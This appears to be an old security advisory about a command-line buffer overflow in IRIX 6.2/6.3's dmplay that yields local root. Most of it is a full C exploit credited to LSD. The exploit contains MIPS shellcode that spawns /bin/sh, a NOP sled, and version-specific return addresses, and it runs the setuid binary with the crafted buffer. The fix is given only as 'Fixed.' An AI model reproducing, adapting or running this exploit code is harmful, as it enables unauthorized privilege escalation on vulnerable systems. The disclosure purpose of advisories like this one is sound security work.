COMMAND

    dmplay

SYSTEMS AFFECTED

    IRIX 6.2, 6.3

PROBLEM

    There exists a buffer  overflow vulnerability in the  command line
    parsing code portion  of the dmplay  program.  When  appropriately
    exploited it can lead to  a local root compromise on  a vulnerable
    system. This has been found by LSD.

    /*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
    /*## /usr/sbin/dmplay                                                        #*/

    #define NOPNUM 800
    #define ADRNUM 156
    #define PCHNUM 148
    #define TMPNUM 52

    char shellcode[]=
        "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
        "\x24\x02\x03\xf3"    /* li      $v0,1011             */
        "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
        "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
        "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
        "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
        "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
        "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
        "\x03\xff\xff\xcc"    /* syscall                      */
        "/bin/sh"
    ;

    char jump[]=
        "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
        "\x03\xe0\x00\x08"    /* jr      $ra                  */
    ;

    char nop[]="\x24\x0f\x12\x34";

    main(int argc,char **argv){
        char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2],display[128];
        int i;

        printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
        printf("/usr/sbin/dmplay for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

        if(argc!=3){
            printf("usage: %s {62|63} xserver:display\n",argv[0]);
            exit(-1);
        }

        if(!strcmp(argv[1],"62")){
            *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10396+32;
            *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10396+32+900+30540;
            *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10396+32+8000;
        }
        if(!strcmp(argv[1],"63")){
            *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10348+32;
            *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10348+32+900-84;
            *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10348+32+8000;
        }

        sprintf(display,"DISPLAY=%s",argv[2]);
        envp[0]=display;
        envp[1]=0;

        b=buffer;
        for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        *b++=0xff;
        for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
        for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
        for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
        *b=0;

        execle("/usr/sbin/dmplay","lsd",buffer,0,envp);
    }

SOLUTION

    Fixed.